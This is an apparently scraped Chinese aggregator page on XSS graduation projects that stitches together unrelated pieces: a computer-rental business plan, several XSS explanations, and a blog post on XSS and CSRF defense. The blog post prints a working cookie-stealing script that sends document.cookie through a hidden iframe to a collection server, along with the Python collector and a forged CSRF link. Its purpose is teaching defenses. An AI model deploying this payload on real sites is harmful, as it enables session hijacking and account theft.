xss毕业设计的简单介绍

今日热点 2022年06月01日
本文导读目录:

求电子商务创业计划书

创业背景及创业项目

背景:如今电脑已经成为人们生活中不可或缺的一部分,但对一些手头紧又急需电脑的人来说,租台电脑要比买新的划算多了。然而让人尴尬的是,与一些地区电脑租赁的火爆相比,厦门的电脑租赁始终没有热起来。

项目:创办厦门新思索计算机租赁有限公司,出租计算机、网络产品、办公设备、显示器、投影设备等。我们宗旨是服务专业化、服务规范化、服务多样化。诚待合作伙伴,尊重同业者,追求多赢。把风险留给我们,把方便留给客户。

一、公司介绍

一、公司经营宗旨及目标

宗旨:服务专业化、服务规范化、服务多样化。创造完美电脑租赁服务。

目标:将公司发展成为厦漳泉三地电脑租赁的主导企业,将公司品牌发展成为市场著名品牌,并走向整个福建市场。

二、公司简介

公司名称:厦门新思索计算机租赁有限公司

业务范围:出租计算机、网络产品、办公设备、显示器、投影设备。提供计算机和相关设备的租赁,同时提供相应的技术支持服务,收取租金和押金。租赁产品 : IBM. HP. Dell. Philips. Viewsonic. Acer. Toshiba. Nec. Sony. Canon. Lenovo等。

三、公司管理

1. 管理思想

优良科学管理的前提是确定和贯彻正确先进的管理思想。我们将采取以人为本,重视团队合作精神的管理思想。重视个人的发展,尊重个人价值,各职能部门相互协调合作,求得公司的整体发展,实现1+12的效果。

2. 管理队伍

投资是一项经营人才的业务。我们将构建一支在各种有影响力的岗位上具有直接技术与经验的管理队伍,并欢迎一切有志于谋求本公司发展的人才加入本公司。

3. 管理决策

管理团队主要由我们创业小组人员组成。他们都是具有本科学历的大学生,具有相关的专业知识,将为公司制定切实可行的决策,执行最有效率的任务。在我们获得风险投资后,投资家自然也成为我们的公司管理成员,我们还将邀请具有各专业技术及管理经验的人员加入,并担任重要职务。

4.团队概述

学历背景:大专以上学历,具有强烈的求知欲和进取心。

人际关系:有较强的人际亲和力,热情而且沉稳。

职业素质:信守承诺;注重规范;遵循公司宗旨理念。

四、场地与设施

租用商品房做为办公地点,根据交通情况选择仓库地点。(根据具体情况另行考虑,本计划暂时不考虑)

二、市场及竞争分析

一、市场介绍

如今电脑已经成为人们生活中不可或缺的一部分,但对一些手头紧又急需电脑的人来说,租台电脑要比买新的划算多了。然而让人尴尬的是,与一些地区电脑租赁的火爆相比,厦门的电脑租赁始终没有热起来。

二、市场机会及环境

据了解,许多高校高年级的学生因迫于毕业设计的压力,加上对电脑也只是短期使用,所以他们把目光投向了电脑租赁。这些租赁者一般是文史类或经济条件不太好的学生。厦大软件学院学生小黄在接受我们的市场调查时说,由于所学专业需要,他和同学们很想租台电脑来学习,而厦门及周边地区的电脑租赁业务始终“露不了脸”。他说:“大三买新电脑显然划不来,而且经济条件也不允许。二手电脑的配置太差,达不到图片和视频的处理要求。如果有电脑租赁,肯定会受到不少大学生的欢迎。”在厦门各大高校内的校园网BBS上,就有不少求租电脑的小广告。因为求租难,不少学生向自己的同学和校园周边的网吧租电脑。

三、市场竞争分析

我们在厦门各大电脑商店及电子城走访时发现,的确没有开展电脑租赁业务的商家。在电子城2楼,几家做二手电脑的商家虽然在服务项目上有租赁电脑一项,但都表示没开展过租赁电脑的业务;所有电脑专卖店的回答很干脆:电脑不出租,也不打算开展这项业务。

不断降价的品牌机、性价比很高的兼容机以及极具价格优势的二手电脑,再加上分期付款购电脑等促销形式,在推动家用电脑普及的同时也抢占了租赁业的市场。就目前市场行情来看,出租的电脑都是次主流的配置,而月租金在100元左右,这与分期付款的月费用差不多;再加上押金很高,有的甚至达到原价的90%,所以相比之下消费者就觉得不划算。另一方面,租赁电脑的大多是在校大学生和急于应付各种计算机考试的人,而租赁时间也仅限于几个月,所以就目前情况来看,每年的租赁高峰期并不能推动市场扩张。

虽然目前租赁市场萧条,但也露出了一线曙光,IBM和联想已于近日推出了规模庞大的电脑租赁计划。电脑出租实际上是一个需求很大的市场,展示会、培训、学习等都有短期使用电脑的需求。目前厦门电脑租赁业务始终热不起来,主要是商家和消费者之间没有建立起信任机制。经过分析,我们公司应该能加速电脑租赁市场启动。

四、目标市场

立足厦门岛,辐射厦漳泉地区。各单位企业或个人展示、展览、会议、培训;员工新聘或临时录用; 系统测试、软件测试、项目开发。 企业办公(财务考虑);移动办公 ;个人应用:娱乐、学习等构成了我们的目标市场。

五、顾客的购买准则

顾客网上预订,网下现场看货决定是否租用。采用自愿原则,顾客与公司订立双方均可接受的租赁协议书。

三、产品与服务

一、服务细则

提供高质量的设备,针对不同租赁需求和应用环境,提供灵活多样的技术服务。 (以下基本服务区域指厦门岛内)

服务内容分四类: 基本服务;增值服务;快速保障服务;协议服务。

基本服务:不提供免费送取货服务。

1、提供免费电话技术支持。

2、不提供免费上门服务。

3、客户将设备送到公司技术部,免费维修和维护,租赁协议指定的收费项目除外。

增值服务:10公里以内免费送取;10公里之外视远近收取交通费用,如果超出基本区域以外,酌情收取服务费。

1、基本区域内上门硬件维修,如果超出基本区域,酌情收取运输和服务费。

2、基本区域内上门系统软件修复(WINDOWS,OFFICE系列,网络联通)。

3、基本区域内24小时之内上门解决。

如果租赁协议上对服务内容另有约定,以协议为准。

快速保障服务:基本区域内免费送取,如果超出基本区域,酌情收取运输和服务费。

1、基本区域内免费上门硬件维修,否则酌情收取运输和服务费。

2、基本区域内上门系统软件修复(WINDOWS,OFFICE系列,网络联通。

3、租期1-6天,4小时之内上门解决(基本区域内),其他区域另行协商。

4、租期7天以上,12小时之内上门解决基本区域内,中午12点以后叫修,次日上午12点以前上门解决,其他区域另行协商。

如果租赁协议上对服务内容另有约定,以协议为准。

协议服务:在租赁协议中具体约定服务内容和提供服务的方式,以满足特殊应用环境。

二、产品及服务规划

出租计算机以及相关设备,并提供全面的技术支持,服务于企业的各种商务活动。

短期租赁:适用于参加或者举办会议,展览,产品发布,培训人员,系统测试等短时间租用设备;

租用时间短,从几小时到20多天。

长期租赁:适用于企业办公,工程项目实施,软件系统开发, 临时录用工作人员等企业商务需求以及个人学习和娱乐之需求。

三、服务与支持及收费

送取服务:基本区域内送取货收取单程相当于出租车费用,如果超出基本区域,酌情收取运输和服务费。

技术服务: 1、基本区域内上门硬件维修,50-100元/次/(1-2台),如果超出基本区域以外,100-200/次/(1-2台)。

2、基本区域内,常规系统软件修复(WINDOWS,OFFICE系列,网络联通),100元/次/台,其他区域内,150-200/元/次/台。

3、解决问题时间在24小时之内,否则服务费酌情增加。如果租赁协议上对服务内容另有约定,以协议为准。

四、租赁合同协议的订立

1、单位或公司只须出示营业执照复印件及负责人身份证复印件,可享受免押金,只须拨打我们的电话预约,我公司按指定时间送货上门,并双方签订合同。

2、个人只须出示厦门户籍担保人身份证复印件及本人身份证复印件也可享受免押金,只须提前拨打电 话预约,公司按指定时间送货上门,并双方签订合同。

3、学生只须出示三份学生证复印件就可享受免押金。

4、无厦门人担保的个人,须交正常押金,但可享受租金的8折优惠。

四、网站建设

1. 网站设计与规划:

①网站名称:厦门新思索电脑租赁网

②主题定位:属于计算机类网站,集中精力介绍产品配置及价目,为顾客提供多种合适的租赁方案,对公司进行适当的宣传介绍,突出公司的服务理念。

③域名选用:

中文实名:新思索 英文域名:http://www.xsspc.com.cn

域名的选择为“新思索电脑”的英文简写

④整体风格与栏目规划:蓝色界面,体现企业的诚信风格;栏目主要有:公司首页、租赁目的、业务简介、租赁报价、服务细则、方案推荐、网上预定、联系方式等。

⑤网站布局:(部分截图)

五、营销方案

1.租赁产品类别

•台式机:联想,Acer,Dell等

•笔记本电脑:联想,Acer,Dell,IBM等

•PC 服务器,工作站

•办公设备:打印机,传真机,复印机

•显示设备:CRT、液晶、等离子显示器,投影

•网络设备

2. 租赁报价明细表

计算机设备:

3.品牌建设

以最优的服务和最优惠的价格,树立新思索的品牌。提供多种配机方案,满足不同使用者的需求,达到物尽其用,花最少的钱租最适用的电脑及其相关设备。

4.客户关系建立

对使用过我们公司租赁服务的客户,我们将留底备案,并将他们的意见和建议对我们的服务进行相应改进,将我们的服务理念贯彻落实到我们的工作和服务中,与客户保持经常的联系。将我们公司的详细联系方式制作成名片,分发给顾客,安排客户服务人员专门进行客户维系工作。

六、资金需求及筹措方法

公司预计需要100万元公司运营启动资金,主要用于设备购置、员工招聘培训、市场宣传推广。资金的筹措方式是个人或者机构的风险资金,以投资入股的方式投入,其他资金投入方式也可以考虑。公司预计在未来的五年内,累计实现销售收入500万元,累计实现销售利润300万元 ( 按行业平均销售利润率60%计算 ) 。投资人投入公司的资金,有望在两到三年内全部回收。

-----------------------------------

以上供参考

跨站脚本攻击xss的原理是什么?有什么危害?如何防范

xxs攻击原理是网页对用户输入的字符串过滤不严,导致在提交输入信息的时候浏览器执行了黑客嵌入的xxs脚本,致使用户信息泄露。黑客可将伪装过的含义脚本语句的链接发送给受害者,当受害者点击链接的时候,由于网页没有过滤脚本语句,所以浏览器执行了脚本语句,而这个脚本语句的作用是将用户的cookie发送到黑客指定的地址,然后黑客就可以利用受害者的cookie窃取受害者的个人信息等等。这种攻击对服务器没有多大危害,但对用户危害很大,要防范这种攻击应该在设计网站的时候对用户提交的内容进行严格的过滤。

计算机组成课程设计 XSST写表

网络设备,它的作用可以简单的理解为将一些机器连接起来组成一个局域网,HUB 本身不能识别目的地址。集线器上的所有端口争用一个共享信道的宽带,因此随着网络节点数量的增加,数据传输量的增大,每节点的可用带宽将随之减少。另外,集线器采用广播的形式传输数据,即向所有端口传送数据。如当同一局域网内的A 主机给B 主机传输数据时,数据包在以HUB 为架构的网络上是以广播方式传输的,对网络上所有节点同时发送同一信息,然后再由每一台终端通过验证数据包头的地址信息来确定是否接收。其实接收数据的一般来说只有一

XSS攻击如何实现以及保护Web站点免受跨站点脚本攻击

使用工具和测试防范跨站点脚本攻击. 跨站点脚本(XSS)攻击是当今主要的攻击途径之一,利用了Web站点的漏洞并使用浏览器来窃取cookie或进行金融交易。跨站点脚本漏洞比较常见,并且要求组织部署涵盖威胁建模、扫描工具和大量安全意识在内的周密的安全开发生命周期,以便达到最佳的XSS防护和预防。本文解释了跨站点脚本攻击是如何实现并且就如何保护企业Web应用免于这种攻击提供了建议。 跨站点脚本(XSS)允许攻击者通过利用因特网服务器的漏洞来发送恶意代码到其他用户。攻击者利用跨站点脚本(XSS)攻击向那些看似可信任的链接中注入恶意代码。当用户点击了链接后,内嵌的程序将被提交并且会在用户的电脑上执行,这会使黑客获取访问权限并偷走敏感数据。攻击者使用XSS来攻击受害者机器上的漏洞并且传输恶意代码而不是攻击系统本身。 通过用户输入的数据返回错误消息的Web表格,攻击者可以修改控制Web页面的HTML代码。黑客能够在垃圾信息中的链接里插入代码或者使用欺诈邮件来诱使用户对其身份产生信任。 例如攻击者可以发送带有URL的邮件给受害人,这个URL指向一个Web站点并且提供浏览器脚本作为输入;或者在博客或诸如Facebook、Twitter这样的社交网站上发布恶意URL链接。当用户点击这个链接时,该恶意站点以及脚本将会在其浏览器上运行。浏览器不知道脚本是恶意的并将盲目地运行这个程序,这转而允许攻击者的浏览器脚本使用站点的功能来窃取cookie或者冒充合法的用户来完成交易。 一些通常的跨站点脚本预防的最佳实践包括在部署前测试应用代码,并且以快速、简明的方式修补缺陷和漏洞。Web应用开发人员应该过滤用户的输入来移除可能的恶意字符和浏览器脚本,并且植入用户输入过滤代码来移除恶意字符。通常管理员也可以配置浏览器只接受来自信任站点的脚本或者关闭浏览器的脚本功能,尽管这样做可能导致使用Web站点的功能受限。 随着时代的进步黑客们变得更加先进,使用收集的工具集来加快漏洞攻击进程。这意味着仅仅部署这些通常的XSS预防实践是不够的,保护和预防过程必须从底层开始并持续提升。预防过程必须在开发阶段开始,建立在一个牢靠、安全的开发生命周期方法论之上的Web应用在发布版本中不太可能暴露出漏洞。这样以来,不仅提升了安全性,也改善了可用性而且缩减了维护的总体费用,因为在现场环境中修补问题比在开发阶段会花费更多。 威胁建模在XSS预防中也是重要的一个方面,应该纳入到每个组织的安全开发生命周期当中。威胁建模评估和辨识在开发阶段中应用程序面临的所有的风险,来帮助Web开发人员更好地理解需要什么样的保护以及攻击一旦得逞将对组织产生怎样的影响。要辨识一个特定应用的威胁级别,考虑它的资产以及它访问的敏感信息量是十分重要的。这个威胁建模过程将确保在应用的设计和开发过程中战略性地融合了安全因素,并且增强了Web开发人员的安全意识。 对于大型项目的Web开发人员来说,源代码扫描工具和Web应用漏洞扫描器是提高效率和减少工作量的通常选择。

XSS攻击的定义,类型以及防御方法?

XXS攻击全称跨站脚本攻击,是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其他使用的页面中。

XSS攻击有哪几种类型?下面就由锐速云的小编为大家介绍一下

经常见到XSS攻击有三种:反射XSS攻击、DOM-based型XSS攻击以及储存型XSS攻击。

[if !supportLists]1、[endif]反射型XSS攻击

反射性XSS一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计链接的时候,恶意代码会直接在受害主机上的浏览器上执行,反射型XSS通常出现在网站搜索栏,用户登入口等地方,常用来窃取客户端或进行钓鱼欺骗。

[if !supportLists]2、[endif]存储型XSS攻击

存储型XSS攻击也叫持久型XSS,主要将XSS代码提交储存在服务器端(数据库,内存,文件系统等)下次请求目标页面时不用在提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。储存型XSS一般出现在网站留言,评论,博客日志等交互处,恶意脚本储存到客户端或者服务端的数据库中。

[if !supportLists]3、[endif]DOM-based型XSS攻击

DOM-based型XSS攻击它是基于DOM的XSS攻击是指通过恶意脚本修改页面的DOM结构,是纯粹发生在客户端的攻击。DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端JavaScript自身的安全漏洞。

如何防御XSS攻击?

[if !supportLists]1、[endif]对输入内容的特定字符进行编码,列如表示html标记等符号。

[if !supportLists]2、[endif]对重要的cookie设置httpOnly,防止客户端通过document。cookie读取cookie,此HTTP开头由服务端设置。

[if !supportLists]3、[endif]将不可信的输出URT参数之前,进行URLEncode操作,而对于从URL参数中获取值一定要进行格式检查

[if !supportLists]4、[endif]不要使用Eval来解析并运行不确定的数据或代码,对于JSON解析请使用JSON。Parse()方法

[if !supportLists]5、[endif]后端接口也应该要做到关键字符过滤的问题。

前端安全方面有没有了解?xss和csrf如何攻防

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "http://192.168.123.123/myxss/";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。

正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。

真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。

现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:

http://example.com/bbs/create_post.php?title=标题content=内容

那么,我只需要在论坛中发一帖,包含一链接:

http://example.com/bbs/create_post.php?title=我是脑残content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。

比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。

首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:

虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。

第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。

高分求 设计网页相关的英文资料不能是科普类和JSP 或Access 有关最好

[Bypassing JavaScript Filters – the Flash! Attack]

http://eyeonsecurity.org/papers/flash-xss.pdf

Web Design Frameworks: An approach to improve reuse in Web applications

Abstract

In this paper we introduce Web design

frameworks as a conceptual approach to maximize

reuse in Web applications. We first discuss the need for

building abstract and reusable navigational design

structures, exemplifying with different kinds of Web

Information Systems. Then, we briefly review the state

of the art of object-oriented application frameworks

and present the rationale for a slightly different

approach focusing on design reuse instead of code

reuse. Next, we present OOHDM-frame, a syntax for

defining the hot-spots of generic Web application

designs. We illustrate the use of OOHDM-frame with a

case study in the field of electronic commerce. We

finally discuss how to implement Web design

frameworks in different kind of Web platforms.

http://www.lifia.info.unlp.edu.ar/papers/2001/Schwabe2001.pdf

Servlets, JSP, Struts and MVC

(Part I)

Venkat Subramaniam

venkats@agiledeveloper.com

http://www.agiledeveloper.com/articles/JSPMVC.pdf

mSpace: interaction design for

user-determined, adaptable

domain exploration in hypermedia

http://www.dgp.toronto.edu/~sszhao/paper/schraefel_mspaceAH03.pdf

How to Design a large AJAX Application

http://www.webdevref.com/blog/presentations/How_to_Design_a_large_AJAX_Application.pdf

JAVASCRIPT AJAX ACCESSIBILITY

http://www-03.ibm.com/able/dwnlds/AJAX_Accessibility.pdf

关键词: xss毕业设计
我来说两句
黑客技术 3年前 (2022-06-01) | 回复
ack] http://eyeonsecurity.org/papers/flash-xss.pdf Web Design Frameworks: An approach to improve reuse in Web applications Abstract In this pap
黑客技术 3年前 (2022-06-01) | 回复
起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰
黑客技术 3年前 (2022-06-01) | 回复
他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是